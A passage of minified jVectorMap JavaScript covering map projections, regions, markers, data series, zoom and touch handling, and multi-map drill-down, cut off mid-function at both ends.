solid",width:2*ticks[i].value+"px",height:2*ticks[i].value+"px",background:this.map.params.markerStyle.initial.fill}).appendTo(sample)}tick.append(sample),label=ticks[i].label,this.params.labelRender&&(label=this.params.labelRender(label)),tick.append(jvm.$("<div>"+label+" </div>").addClass("jvectormap-legend-tick-text")),inner.append(tick)}inner.append(jvm.$("<div/>").css("clear","both"))},jvm.DataSeries=function(params,elements,map){var scaleConstructor;(params=params||{}).attribute=params.attribute||"fill",this.elements=elements,this.params=params,this.map=map,params.attributes&&this.setAttributes(params.attributes),jvm.$.isArray(params.scale)?(scaleConstructor="fill"===params.attribute||"stroke"===params.attribute?jvm.ColorScale:jvm.NumericScale,this.scale=new scaleConstructor(params.scale,params.normalizeFunction,params.min,params.max)):params.scale?this.scale=new jvm.OrdinalScale(params.scale):this.scale=new jvm.SimpleScale(params.scale),this.values=params.values||{},this.setValues(this.values),this.params.legend&&(this.legend=new jvm.Legend(jvm.$.extend({map:this.map,series:this},this.params.legend)))},jvm.DataSeries.prototype={setAttributes:function(key,attr){var code,attrs=key;if("string"==typeof key)this.elements[key]&&this.elements[key].setStyle(this.params.attribute,attr);else for(code in attrs)this.elements[code]&&this.elements[code].element.setStyle(this.params.attribute,attrs[code])},setValues:function(values){var val,cc,max=-Number.MAX_VALUE,min=Number.MAX_VALUE,attrs={};if(this.scale instanceof jvm.OrdinalScale||this.scale instanceof jvm.SimpleScale)for(cc in values)values[cc]?attrs[cc]=this.scale.getValue(values[cc]):attrs[cc]=this.elements[cc].element.style.initial[this.params.attribute];else{if(void 0===this.params.min||void 0===this.params.max)for(cc in values)max<(val=parseFloat(values[cc]))&&(max=val),val<min&&(min=val);for(cc in void 0===this.params.min?(this.scale.setMin(min),this.params.min=min):this.scale.setMin(this.params.min),void 0===this.params.max?(this.scale.setMax(max),this.params.max=max):this.scale.setMax(this.params.max),values)"indexOf"!=cc&&(val=parseFloat(values[cc]),isNaN(val)?attrs[cc]=this.elements[cc].element.style.initial[this.params.attribute]:attrs[cc]=this.scale.getValue(val))}this.setAttributes(attrs),jvm.$.extend(this.values,values)},clear:function(){var key,attrs={};for(key in this.values)this.elements[key]&&(attrs[key]=this.elements[key].element.shape.style.initial[this.params.attribute]);this.setAttributes(attrs),this.values={}},setScale:function(scale){this.scale.setScale(scale),this.values&&this.setValues(this.values)},setNormalizeFunction:function(f){this.scale.setNormalizeFunction(f),this.values&&this.setValues(this.values)}},jvm.Proj={degRad:180/Math.PI,radDeg:Math.PI/180,radius:6381372,sgn:function(n){return 0<n?1:n<0?-1:n},mill:function(lat,lng,c){return{x:this.radius*(lng-c)*this.radDeg,y:-this.radius*Math.log(Math.tan((45+.4*lat)*this.radDeg))/.8}},mill_inv:function(x,y,c){return{lat:(2.5*Math.atan(Math.exp(.8*y/this.radius))-5*Math.PI/8)*this.degRad,lng:(c*this.radDeg+x/this.radius)*this.degRad}},merc:function(lat,lng,c){return{x:this.radius*(lng-c)*this.radDeg,y:-this.radius*Math.log(Math.tan(Math.PI/4+lat*Math.PI/360))}},merc_inv:function(x,y,c){return{lat:(2*Math.atan(Math.exp(y/this.radius))-Math.PI/2)*this.degRad,lng:(c*this.radDeg+x/this.radius)*this.degRad}},aea:function(lat,lng,c){var lambda0=c*this.radDeg,fi1=29.5*this.radDeg,fi2=45.5*this.radDeg,fi=lat*this.radDeg,lambda=lng*this.radDeg,n=(Math.sin(fi1)+Math.sin(fi2))/2,C=Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),theta=n*(lambda-lambda0),ro=Math.sqrt(C-2*n*Math.sin(fi))/n,ro0=Math.sqrt(C-2*n*Math.sin(0))/n;return{x:ro*Math.sin(theta)*this.radius,y:-(ro0-ro*Math.cos(theta))*this.radius}},aea_inv:function(xCoord,yCoord,c){var x=xCoord/this.radius,y=yCoord/this.radius,lambda0=c*this.radDeg,fi1=29.5*this.radDeg,fi2=45.5*this.radDeg,n=(Math.sin(fi1)+Math.sin(fi2))/2,C=Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),ro0=Math.sqrt(C-2*n*Math.sin(0))/n,ro=Math.sqrt(x*x+(ro0-y)*(ro0-y)),theta=Math.atan(x/(ro0-y));return{lat:Math.asin((C-ro*ro*n*n)/(2*n))*this.degRad,lng:(lambda0+theta/n)*this.degRad}},lcc:function(lat,lng,c){var lambda0=c*this.radDeg,lambda=lng*this.radDeg,fi1=33*this.radDeg,fi2=45*this.radDeg,fi=lat*this.radDeg,n=Math.log(Math.cos(fi1)*(1/Math.cos(fi2)))/Math.log(Math.tan(Math.PI/4+fi2/2)*(1/Math.tan(Math.PI/4+fi1/2))),F=Math.cos(fi1)*Math.pow(Math.tan(Math.PI/4+fi1/2),n)/n,ro=F*Math.pow(1/Math.tan(Math.PI/4+fi/2),n),ro0=F*Math.pow(1/Math.tan(Math.PI/4+0),n);return{x:ro*Math.sin(n*(lambda-lambda0))*this.radius,y:-(ro0-ro*Math.cos(n*(lambda-lambda0)))*this.radius}},lcc_inv:function(xCoord,yCoord,c){var x=xCoord/this.radius,y=yCoord/this.radius,lambda0=c*this.radDeg,fi1=33*this.radDeg,fi2=45*this.radDeg,n=Math.log(Math.cos(fi1)*(1/Math.cos(fi2)))/Math.log(Math.tan(Math.PI/4+fi2/2)*(1/Math.tan(Math.PI/4+fi1/2))),F=Math.cos(fi1)*Math.pow(Math.tan(Math.PI/4+fi1/2),n)/n,ro0=F*Math.pow(1/Math.tan(Math.PI/4+0),n),ro=this.sgn(n)*Math.sqrt(x*x+(ro0-y)*(ro0-y)),theta=Math.atan(x/(ro0-y));return{lat:(2*Math.atan(Math.pow(F/ro,1/n))-Math.PI/2)*this.degRad,lng:(lambda0+theta/n)*this.degRad}}},jvm.MapObject=function(config){},jvm.MapObject.prototype.getLabelText=function(key){return this.config.label?"function"==typeof this.config.label.render?this.config.label.render(key):key:null},jvm.MapObject.prototype.getLabelOffsets=function(key){var offsets;return this.config.label&&("function"==typeof this.config.label.offsets?offsets=this.config.label.offsets(key):"object"==typeof this.config.label.offsets&&(offsets=this.config.label.offsets[key])),offsets||[0,0]},jvm.MapObject.prototype.setHovered=function(isHovered){this.isHovered!==isHovered&&(this.isHovered=isHovered,this.shape.isHovered=isHovered,this.shape.updateStyle(),this.label&&(this.label.isHovered=isHovered,this.label.updateStyle()))},jvm.MapObject.prototype.setSelected=function(isSelected){this.isSelected!==isSelected&&(this.isSelected=isSelected,this.shape.isSelected=isSelected,this.shape.updateStyle(),this.label&&(this.label.isSelected=isSelected,this.label.updateStyle()),jvm.$(this.shape).trigger("selected",[isSelected]))},jvm.MapObject.prototype.setStyle=function(){this.shape.setStyle.apply(this.shape,arguments)},jvm.MapObject.prototype.remove=function(){this.shape.remove(),this.label&&this.label.remove()},jvm.Region=function(config){var bbox,text,offsets;this.config=config,this.map=this.config.map,this.shape=config.canvas.addPath({d:config.path,"data-code":config.code},config.style,config.canvas.rootElement),this.shape.addClass("jvectormap-region jvectormap-element"),bbox=this.shape.getBBox(),text=this.getLabelText(config.code),this.config.label&&text&&(offsets=this.getLabelOffsets(config.code),this.labelX=bbox.x+bbox.width/2+offsets[0],this.labelY=bbox.y+bbox.height/2+offsets[1],this.label=config.canvas.addText({text:text,"text-anchor":"middle","alignment-baseline":"central",x:this.labelX,y:this.labelY,"data-code":config.code},config.labelStyle,config.labelsGroup),this.label.addClass("jvectormap-region jvectormap-element"))},jvm.inherits(jvm.Region,jvm.MapObject),jvm.Region.prototype.updateLabelPosition=function(){this.label&&this.label.set({x:this.labelX*this.map.scale+this.map.transX*this.map.scale,y:this.labelY*this.map.scale+this.map.transY*this.map.scale})},jvm.Marker=function(config){var text;this.config=config,this.map=this.config.map,this.isImage=!!this.config.style.initial.image,this.createShape(),text=this.getLabelText(config.index),this.config.label&&text&&(this.offsets=this.getLabelOffsets(config.index),this.labelX=config.cx/this.map.scale-this.map.transX,this.labelY=config.cy/this.map.scale-this.map.transY,this.label=config.canvas.addText({text:text,"data-index":config.index,dy:"0.6ex",x:this.labelX,y:this.labelY},config.labelStyle,config.labelsGroup),this.label.addClass("jvectormap-marker jvectormap-element"))},jvm.inherits(jvm.Marker,jvm.MapObject),jvm.Marker.prototype.createShape=function(){var that=this;this.shape&&this.shape.remove(),this.shape=this.config.canvas[this.isImage?"addImage":"addCircle"]({"data-index":this.config.index,cx:this.config.cx,cy:this.config.cy},this.config.style,this.config.group),this.shape.addClass("jvectormap-marker jvectormap-element"),this.isImage&&jvm.$(this.shape.node).on("imageloaded",function(){that.updateLabelPosition()})},jvm.Marker.prototype.updateLabelPosition=function(){this.label&&this.label.set({x:this.labelX*this.map.scale+this.offsets[0]+this.map.transX*this.map.scale+5+(this.isImage?(this.shape.width||0)/2:this.shape.properties.r),y:this.labelY*this.map.scale+this.map.transY*this.map.scale+this.offsets[1]})},jvm.Marker.prototype.setStyle=function(property,value){var isImage;jvm.Marker.parentClass.prototype.setStyle.apply(this,arguments),"r"===property&&this.updateLabelPosition(),(isImage=!!this.shape.get("image"))!=this.isImage&&(this.isImage=isImage,this.config.style=jvm.$.extend(!0,{},this.shape.style),this.createShape())},jvm.Map=function(params){var e,map=this;if(this.params=jvm.$.extend(!0,{},jvm.Map.defaultParams,params),!jvm.Map.maps[this.params.map])throw new Error("Attempt to use map which was not loaded: "+this.params.map);for(e in this.mapData=jvm.Map.maps[this.params.map],this.markers={},this.regions={},this.regionsColors={},this.regionsData={},this.container=jvm.$("<div>").addClass("jvectormap-container"),this.params.container&&this.params.container.append(this.container),this.container.data("mapObject",this),this.defaultWidth=this.mapData.width,this.defaultHeight=this.mapData.height,this.setBackgroundColor(this.params.backgroundColor),this.onResize=function(){map.updateSize()},jvm.$(window).resize(this.onResize),jvm.Map.apiEvents)this.params[e]&&this.container.bind(jvm.Map.apiEvents[e]+".jvectormap",this.params[e]);this.canvas=new jvm.VectorCanvas(this.container[0],this.width,this.height),this.params.bindTouchEvents&&("ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch?this.bindContainerTouchEvents():window.MSGesture&&this.bindContainerPointerEvents()),this.bindContainerEvents(),this.bindElementEvents(),this.createTip(),this.params.zoomButtons&&this.bindZoomButtons(),this.createRegions(),this.createMarkers(this.params.markers||{}),this.updateSize(),this.params.focusOn&&("string"==typeof this.params.focusOn?this.params.focusOn={region:this.params.focusOn}:jvm.$.isArray(this.params.focusOn)&&(this.params.focusOn={regions:this.params.focusOn}),this.setFocus(this.params.focusOn)),this.params.selectedRegions&&this.setSelectedRegions(this.params.selectedRegions),this.params.selectedMarkers&&this.setSelectedMarkers(this.params.selectedMarkers),this.legendCntHorizontal=jvm.$("<div/>").addClass("jvectormap-legend-cnt jvectormap-legend-cnt-h"),this.legendCntVertical=jvm.$("<div/>").addClass("jvectormap-legend-cnt jvectormap-legend-cnt-v"),this.container.append(this.legendCntHorizontal),this.container.append(this.legendCntVertical),this.params.series&&this.createSeries()},jvm.Map.prototype={transX:0,transY:0,scale:1,baseTransX:0,baseTransY:0,baseScale:1,width:0,height:0,setBackgroundColor:function(backgroundColor){this.container.css("background-color",backgroundColor)},resize:function(){var curBaseScale=this.baseScale;this.width/this.height>this.defaultWidth/this.defaultHeight?(this.baseScale=this.height/this.defaultHeight,this.baseTransX=Math.abs(this.width-this.defaultWidth*this.baseScale)/(2*this.baseScale)):(this.baseScale=this.width/this.defaultWidth,this.baseTransY=Math.abs(this.height-this.defaultHeight*this.baseScale)/(2*this.baseScale)),this.scale*=this.baseScale/curBaseScale,this.transX*=this.baseScale/curBaseScale,this.transY*=this.baseScale/curBaseScale},updateSize:function(){this.width=this.container.width(),this.height=this.container.height(),this.resize(),this.canvas.setSize(this.width,this.height),this.applyTransform()},reset:function(){var key,i;for(key in this.series)for(i=0;i<this.series[key].length;i++)this.series[key][i].clear();this.scale=this.baseScale,this.transX=this.baseTransX,this.transY=this.baseTransY,this.applyTransform()},applyTransform:function(){var maxTransX,maxTransY,minTransX,minTransY;minTransX=this.defaultWidth*this.scale<=this.width?(maxTransX=(this.width-this.defaultWidth*this.scale)/(2*this.scale),(this.width-this.defaultWidth*this.scale)/(2*this.scale)):(maxTransX=0,(this.width-this.defaultWidth*this.scale)/this.scale),minTransY=this.defaultHeight*this.scale<=this.height?(maxTransY=(this.height-this.defaultHeight*this.scale)/(2*this.scale),(this.height-this.defaultHeight*this.scale)/(2*this.scale)):(maxTransY=0,(this.height-this.defaultHeight*this.scale)/this.scale),this.transY>maxTransY?this.transY=maxTransY:this.transY<minTransY&&(this.transY=minTransY),this.transX>maxTransX?this.transX=maxTransX:this.transX<minTransX&&(this.transX=minTransX),this.canvas.applyTransformParams(this.scale,this.transX,this.transY),this.markers&&this.repositionMarkers(),this.repositionLabels(),this.container.trigger("viewportChange",[this.scale/this.baseScale,this.transX,this.transY])},bindContainerEvents:function(){var oldPageX,oldPageY,mouseDown=!1,map=this;this.params.panOnDrag&&(this.container.mousemove(function(e){return mouseDown&&(map.transX-=(oldPageX-e.pageX)/map.scale,map.transY-=(oldPageY-e.pageY)/map.scale,map.applyTransform(),oldPageX=e.pageX,oldPageY=e.pageY),!1}).mousedown(function(e){return mouseDown=!0,oldPageX=e.pageX,oldPageY=e.pageY,!1}),this.onContainerMouseUp=function(){mouseDown=!1},jvm.$("body").mouseup(this.onContainerMouseUp)),this.params.zoomOnScroll&&this.container.mousewheel(function(event,delta,deltaX,deltaY){var offset=jvm.$(map.container).offset(),centerX=event.pageX-offset.left,centerY=event.pageY-offset.top,zoomStep=Math.pow(1+map.params.zoomOnScrollSpeed/1e3,event.deltaFactor*event.deltaY);map.tip.hide(),map.setScale(map.scale*zoomStep,centerX,centerY),event.preventDefault()})},bindContainerTouchEvents:function(){function handleTouchEvent(e){var offset,scale,transXOld,transYOld,touches=e.originalEvent.touches;"touchstart"==e.type&&(lastTouchesLength=0),1==touches.length?(1==lastTouchesLength&&(transXOld=map.transX,transYOld=map.transY,map.transX-=(touchX-touches[0].pageX)/map.scale,map.transY-=(touchY-touches[0].pageY)/map.scale,map.applyTransform(),map.tip.hide(),transXOld==map.transX&&transYOld==map.transY||e.preventDefault()),touchX=touches[0].pageX,touchY=touches[0].pageY):2==touches.length&&(2==lastTouchesLength?(scale=Math.sqrt(Math.pow(touches[0].pageX-touches[1].pageX,2)+Math.pow(touches[0].pageY-touches[1].pageY,2))/touchStartDistance,map.setScale(touchStartScale*scale,centerTouchX,centerTouchY),map.tip.hide(),e.preventDefault()):(offset=jvm.$(map.container).offset(),centerTouchX=touches[0].pageX>touches[1].pageX?touches[1].pageX+(touches[0].pageX-touches[1].pageX)/2:touches[0].pageX+(touches[1].pageX-touches[0].pageX)/2,centerTouchY=touches[0].pageY>touches[1].pageY?touches[1].pageY+(touches[0].pageY-touches[1].pageY)/2:touches[0].pageY+(touches[1].pageY-touches[0].pageY)/2,centerTouchX-=offset.left,centerTouchY-=offset.top,touchStartScale=map.scale,touchStartDistance=Math.sqrt(Math.pow(touches[0].pageX-touches[1].pageX,2)+Math.pow(touches[0].pageY-touches[1].pageY,2)))),lastTouchesLength=touches.length}var touchStartScale,touchStartDistance,touchX,touchY,centerTouchX,centerTouchY,lastTouchesLength,map=this;jvm.$(this.container).bind("touchstart",handleTouchEvent),jvm.$(this.container).bind("touchmove",handleTouchEvent)},bindContainerPointerEvents:function(){var map=this,gesture=new MSGesture,element=this.container[0];(gesture.target=element).addEventListener("MSGestureChange",function(e){var transXOld,transYOld;0==e.translationX&&0==e.translationY||(transXOld=map.transX,transYOld=map.transY,map.transX+=e.translationX/map.scale,map.transY+=e.translationY/map.scale,map.applyTransform(),map.tip.hide(),transXOld==map.transX&&transYOld==map.transY||e.preventDefault()),1!=e.scale&&(map.setScale(map.scale*e.scale,e.offsetX,e.offsetY),map.tip.hide(),e.preventDefault())},!1),element.addEventListener("pointerdown",function(e){gesture.addPointer(e.pointerId)},!1)},bindElementEvents:function(){var pageX,pageY,mouseMoved,map=this;this.container.mousemove(function(e){2<Math.abs(pageX-e.pageX)+Math.abs(pageY-e.pageY)&&(mouseMoved=!0)}),this.container.delegate("[class~='jvectormap-element']","mouseover mouseout",function(e){var type=-1===(jvm.$(this).attr("class").baseVal||jvm.$(this).attr("class")).indexOf("jvectormap-region")?"marker":"region",code="region"==type?jvm.$(this).attr("data-code"):jvm.$(this).attr("data-index"),element="region"==type?map.regions[code].element:map.markers[code].element,tipText="region"==type?map.mapData.paths[code].name:map.markers[code].config.name||"",tipShowEvent=jvm.$.Event(type+"TipShow.jvectormap"),overEvent=jvm.$.Event(type+"Over.jvectormap");"mouseover"==e.type?(map.container.trigger(overEvent,[code]),overEvent.isDefaultPrevented()||element.setHovered(!0),map.tip.text(tipText),map.container.trigger(tipShowEvent,[map.tip,code]),tipShowEvent.isDefaultPrevented()||(map.tip.show(),map.tipWidth=map.tip.width(),map.tipHeight=map.tip.height())):(element.setHovered(!1),map.tip.hide(),map.container.trigger(type+"Out.jvectormap",[code]))}),this.container.delegate("[class~='jvectormap-element']","mousedown",function(e){pageX=e.pageX,pageY=e.pageY,mouseMoved=!1}),this.container.delegate("[class~='jvectormap-element']","mouseup",function(){var type=-1===(jvm.$(this).attr("class").baseVal?jvm.$(this).attr("class").baseVal:jvm.$(this).attr("class")).indexOf("jvectormap-region")?"marker":"region",code="region"==type?jvm.$(this).attr("data-code"):jvm.$(this).attr("data-index"),clickEvent=jvm.$.Event(type+"Click.jvectormap"),element="region"==type?map.regions[code].element:map.markers[code].element;mouseMoved||(map.container.trigger(clickEvent,[code]),("region"==type&&map.params.regionsSelectable||"marker"==type&&map.params.markersSelectable)&&(clickEvent.isDefaultPrevented()||(map.params[type+"sSelectableOne"]&&map.clearSelected(type+"s"),element.setSelected(!element.isSelected))))})},bindZoomButtons:function(){var map=this;jvm.$("<div/>").addClass("jvectormap-zoomin").text("+").appendTo(this.container),jvm.$("<div/>").addClass("jvectormap-zoomout").html("−").appendTo(this.container),this.container.find(".jvectormap-zoomin").click(function(){map.setScale(map.scale*map.params.zoomStep,map.width/2,map.height/2,!1,map.params.zoomAnimate)}),this.container.find(".jvectormap-zoomout").click(function(){map.setScale(map.scale/map.params.zoomStep,map.width/2,map.height/2,!1,map.params.zoomAnimate)})},createTip:function(){var map=this;this.tip=jvm.$("<div/>").addClass("jvectormap-tip").appendTo(jvm.$("body")),this.container.mousemove(function(e){var left=e.pageX-15-map.tipWidth,top=e.pageY-15-map.tipHeight;left<5&&(left=e.pageX+15),top<5&&(top=e.pageY+15),map.tip.css({left:left,top:top})})},setScale:function(scale,anchorX,anchorY,isCentered,animate){var interval,scaleStart,scaleDiff,transXStart,transXDiff,transYStart,transYDiff,transX,transY,viewportChangeEvent=jvm.$.Event("zoom.jvectormap"),that=this,i=0,count=Math.abs(Math.round(60*(scale-this.scale)/Math.max(scale,this.scale))),deferred=new jvm.$.Deferred;return scale>this.params.zoomMax*this.baseScale?scale=this.params.zoomMax*this.baseScale:scale<this.params.zoomMin*this.baseScale&&(scale=this.params.zoomMin*this.baseScale),void 0!==anchorX&&void 0!==anchorY&&(zoomStep=scale/this.scale,transY=isCentered?(transX=anchorX+this.defaultWidth*(this.width/(this.defaultWidth*scale))/2,anchorY+this.defaultHeight*(this.height/(this.defaultHeight*scale))/2):(transX=this.transX-(zoomStep-1)/scale*anchorX,this.transY-(zoomStep-1)/scale*anchorY)),animate&&0<count?(scaleStart=this.scale,scaleDiff=(scale-scaleStart)/count,transXStart=this.transX*this.scale,transYStart=this.transY*this.scale,transXDiff=(transX*scale-transXStart)/count,transYDiff=(transY*scale-transYStart)/count,interval=setInterval(function(){i+=1,that.scale=scaleStart+scaleDiff*i,that.transX=(transXStart+transXDiff*i)/that.scale,that.transY=(transYStart+transYDiff*i)/that.scale,that.applyTransform(),i==count&&(clearInterval(interval),that.container.trigger(viewportChangeEvent,[scale/that.baseScale]),deferred.resolve())},10)):(this.transX=transX,this.transY=transY,this.scale=scale,this.applyTransform(),this.container.trigger(viewportChangeEvent,[scale/this.baseScale]),deferred.resolve()),deferred},setFocus:function(config){var bbox,itemBbox,codes,i,point;if((config=config||{}).region?codes=[config.region]:config.regions&&(codes=config.regions),codes){for(i=0;i<codes.length;i++)this.regions[codes[i]]&&(itemBbox=this.regions[codes[i]].element.shape.getBBox())&&(bbox=void 0===bbox?itemBbox:{x:Math.min(bbox.x,itemBbox.x),y:Math.min(bbox.y,itemBbox.y),width:Math.max(bbox.x+bbox.width,itemBbox.x+itemBbox.width)-Math.min(bbox.x,itemBbox.x),height:Math.max(bbox.y+bbox.height,itemBbox.y+itemBbox.height)-Math.min(bbox.y,itemBbox.y)});return this.setScale(Math.min(this.width/bbox.width,this.height/bbox.height),-(bbox.x+bbox.width/2),-(bbox.y+bbox.height/2),!0,config.animate)}return void 0!==config.lat&&void 0!==config.lng?(point=this.latLngToPoint(config.lat,config.lng),config.x=this.transX-point.x/this.scale,config.y=this.transY-point.y/this.scale):config.x&&config.y&&(config.x*=-this.defaultWidth,config.y*=-this.defaultHeight),this.setScale(config.scale*this.baseScale,config.x,config.y,!0,config.animate)},getSelected:function(type){var key,selected=[];for(key in this[type])this[type][key].element.isSelected&&selected.push(key);return selected},getSelectedRegions:function(){return this.getSelected("regions")},getSelectedMarkers:function(){return this.getSelected("markers")},setSelected:function(type,keys){var i;if("object"!=typeof keys&&(keys=[keys]),jvm.$.isArray(keys))for(i=0;i<keys.length;i++)this[type][keys[i]].element.setSelected(!0);else for(i in keys)this[type][i].element.setSelected(!!keys[i])},setSelectedRegions:function(keys){this.setSelected("regions",keys)},setSelectedMarkers:function(keys){this.setSelected("markers",keys)},clearSelected:function(type){var i,select={},selected=this.getSelected(type);for(i=0;i<selected.length;i++)select[selected[i]]=!1;this.setSelected(type,select)},clearSelectedRegions:function(){this.clearSelected("regions")},clearSelectedMarkers:function(){this.clearSelected("markers")},getMapObject:function(){return this},getRegionName:function(code){return this.mapData.paths[code].name},createRegions:function(){var key,region,map=this;for(key in this.regionLabelsGroup=this.regionLabelsGroup||this.canvas.addGroup(),this.mapData.paths)region=new jvm.Region({map:this,path:this.mapData.paths[key].path,code:key,style:jvm.$.extend(!0,{},this.params.regionStyle),labelStyle:jvm.$.extend(!0,{},this.params.regionLabelStyle),canvas:this.canvas,labelsGroup:this.regionLabelsGroup,label:"vml"!=this.canvas.mode?this.params.labels&&this.params.labels.regions:null}),jvm.$(region.shape).bind("selected",function(e,isSelected){map.container.trigger("regionSelected.jvectormap",[jvm.$(this.node).attr("data-code"),isSelected,map.getSelectedRegions()])}),this.regions[key]={element:region,config:this.mapData.paths[key]}},createMarkers:function(markers){var i,marker,point,markerConfig,markersArray,map=this;if(this.markersGroup=this.markersGroup||this.canvas.addGroup(),this.markerLabelsGroup=this.markerLabelsGroup||this.canvas.addGroup(),jvm.$.isArray(markers))for(markersArray=markers.slice(),markers={},i=0;i<markersArray.length;i++)markers[i]=markersArray[i];for(i in markers)markerConfig=markers[i]instanceof Array?{latLng:markers[i]}:markers[i],!1!==(point=this.getMarkerPosition(markerConfig))&&(marker=new jvm.Marker({map:this,style:jvm.$.extend(!0,{},this.params.markerStyle,{initial:markerConfig.style||{}}),labelStyle:jvm.$.extend(!0,{},this.params.markerLabelStyle),index:i,cx:point.x,cy:point.y,group:this.markersGroup,canvas:this.canvas,labelsGroup:this.markerLabelsGroup,label:"vml"!=this.canvas.mode?this.params.labels&&this.params.labels.markers:null}),jvm.$(marker.shape).bind("selected",function(e,isSelected){map.container.trigger("markerSelected.jvectormap",[jvm.$(this.node).attr("data-index"),isSelected,map.getSelectedMarkers()])}),this.markers[i]&&this.removeMarkers([i]),this.markers[i]={element:marker,config:markerConfig})},repositionMarkers:function(){var i,point;for(i in this.markers)!1!==(point=this.getMarkerPosition(this.markers[i].config))&&this.markers[i].element.setStyle({cx:point.x,cy:point.y})},repositionLabels:function(){var key;for(key in this.regions)this.regions[key].element.updateLabelPosition();for(key in this.markers)this.markers[key].element.updateLabelPosition()},getMarkerPosition:function(markerConfig){return jvm.Map.maps[this.params.map].projection?this.latLngToPoint.apply(this,markerConfig.latLng||[0,0]):{x:markerConfig.coords[0]*this.scale+this.transX*this.scale,y:markerConfig.coords[1]*this.scale+this.transY*this.scale}},addMarker:function(key,marker,seriesData){var values,i,markers={},data=[];seriesData=seriesData||[];for(markers[key]=marker,i=0;i<seriesData.length;i++)values={},void 0!==seriesData[i]&&(values[key]=seriesData[i]),data.push(values);this.addMarkers(markers,data)},addMarkers:function(markers,seriesData){var i;for(seriesData=seriesData||[],this.createMarkers(markers),i=0;i<seriesData.length;i++)this.series.markers[i].setValues(seriesData[i]||{})},removeMarkers:function(markers){var i;for(i=0;i<markers.length;i++)this.markers[markers[i]].element.remove(),delete this.markers[markers[i]]},removeAllMarkers:function(){var i,markers=[];for(i in this.markers)markers.push(i);this.removeMarkers(markers)},latLngToPoint:function(lat,lng){var point,inset,bbox,proj=jvm.Map.maps[this.params.map].projection,centralMeridian=proj.centralMeridian;return lng<-180+centralMeridian&&(lng+=360),point=jvm.Proj[proj.type](lat,lng,centralMeridian),!!(inset=this.getInsetForPoint(point.x,point.y))&&(bbox=inset.bbox,point.x=(point.x-bbox[0].x)/(bbox[1].x-bbox[0].x)*inset.width*this.scale,point.y=(point.y-bbox[0].y)/(bbox[1].y-bbox[0].y)*inset.height*this.scale,{x:point.x+this.transX*this.scale+inset.left*this.scale,y:point.y+this.transY*this.scale+inset.top*this.scale})},pointToLatLng:function(x,y){var i,inset,bbox,nx,ny,proj=jvm.Map.maps[this.params.map].projection,centralMeridian=proj.centralMeridian,insets=jvm.Map.maps[this.params.map].insets;for(i=0;i<insets.length;i++)if(bbox=(inset=insets[i]).bbox,nx=x-(this.transX*this.scale+inset.left*this.scale),ny=y-(this.transY*this.scale+inset.top*this.scale),nx=nx/(inset.width*this.scale)*(bbox[1].x-bbox[0].x)+bbox[0].x,ny=ny/(inset.height*this.scale)*(bbox[1].y-bbox[0].y)+bbox[0].y,nx>bbox[0].x&&nx<bbox[1].x&&ny>bbox[0].y&&ny<bbox[1].y)return jvm.Proj[proj.type+"_inv"](nx,-ny,centralMeridian);return!1},getInsetForPoint:function(x,y){var i,bbox,insets=jvm.Map.maps[this.params.map].insets;for(i=0;i<insets.length;i++)if(x>(bbox=insets[i].bbox)[0].x&&x<bbox[1].x&&y>bbox[0].y&&y<bbox[1].y)return insets[i]},createSeries:function(){var i,key;for(key in this.series={markers:[],regions:[]},this.params.series)for(i=0;i<this.params.series[key].length;i++)this.series[key][i]=new jvm.DataSeries(this.params.series[key][i],this[key],this)},remove:function(){this.tip.remove(),this.container.remove(),jvm.$(window).unbind("resize",this.onResize),jvm.$("body").unbind("mouseup",this.onContainerMouseUp)}},jvm.Map.maps={},jvm.Map.defaultParams={map:"world_mill_en",backgroundColor:"#505050",zoomButtons:!0,zoomOnScroll:!0,zoomOnScrollSpeed:3,panOnDrag:!0,zoomMax:8,zoomMin:1,zoomStep:1.6,zoomAnimate:!0,regionsSelectable:!1,markersSelectable:!1,bindTouchEvents:!0,regionStyle:{initial:{fill:"white","fill-opacity":1,stroke:"none","stroke-width":0,"stroke-opacity":1},hover:{"fill-opacity":.8,cursor:"pointer"},selected:{fill:"yellow"},selectedHover:{}},regionLabelStyle:{initial:{"font-family":"Verdana","font-size":"12","font-weight":"bold",cursor:"default",fill:"black"},hover:{cursor:"pointer"}},markerStyle:{initial:{fill:"grey",stroke:"#505050","fill-opacity":1,"stroke-width":1,"stroke-opacity":1,r:5},hover:{stroke:"black","stroke-width":2,cursor:"pointer"},selected:{fill:"blue"},selectedHover:{}},markerLabelStyle:{initial:{"font-family":"Verdana","font-size":"12","font-weight":"bold",cursor:"default",fill:"black"},hover:{cursor:"pointer"}}},jvm.Map.apiEvents={onRegionTipShow:"regionTipShow",onRegionOver:"regionOver",onRegionOut:"regionOut",onRegionClick:"regionClick",onRegionSelected:"regionSelected",onMarkerTipShow:"markerTipShow",onMarkerOver:"markerOver",onMarkerOut:"markerOut",onMarkerClick:"markerClick",onMarkerSelected:"markerSelected",onViewportChange:"viewportChange"},jvm.MultiMap=function(params){var that=this;this.maps={},this.params=jvm.$.extend(!0,{},jvm.MultiMap.defaultParams,params),this.params.maxLevel=this.params.maxLevel||Number.MAX_VALUE,this.params.main=this.params.main||{},this.params.main.multiMapLevel=0,this.history=[this.addMap(this.params.main.map,this.params.main)],this.defaultProjection=this.history[0].mapData.projection.type,this.mapsLoaded={},this.params.container.css({position:"relative"}),this.backButton=jvm.$("<div/>").addClass("jvectormap-goback").text("Back").appendTo(this.params.container),this.backButton.hide(),this.backButton.click(function(){that.goBack()}),this.spinner=jvm.$("<div/>").addClass("jvectormap-spinner").appendTo(this.params.container),this.spinner.hide()},jvm.MultiMap.prototype={addMap:function(name,config){var cnt=jvm.$("<div/>").css({width:"100%",height:"100%"});return this.params.container.append(cnt),this.maps[name]=new jvm.Map(jvm.$.extend(config,{container:cnt})),this.params.maxLevel>config.multiMapLevel&&this.maps[name].container.on("regionClick.jvectormap",{scope:this},function(e,code){var multimap=e.data.scope,mapName=multimap.params.mapNameByCode(code,multimap);multimap.drillDownPromise&&"pending"===multimap.drillDownPromise.state()||multimap.drillDown(mapName,code)}),this.maps[name]},downloadMap:function(code){var that=this,deferred=jvm.$.Deferred();return this.mapsLoaded[code]?deferred.resolve():jvm.$.get(this.params.mapUrlByCode(code,this)).then(function(){that.mapsLoaded[code]=!0,deferred.resolve()},function(){deferred.reject()}),deferred},drillDown:function(name,code){var 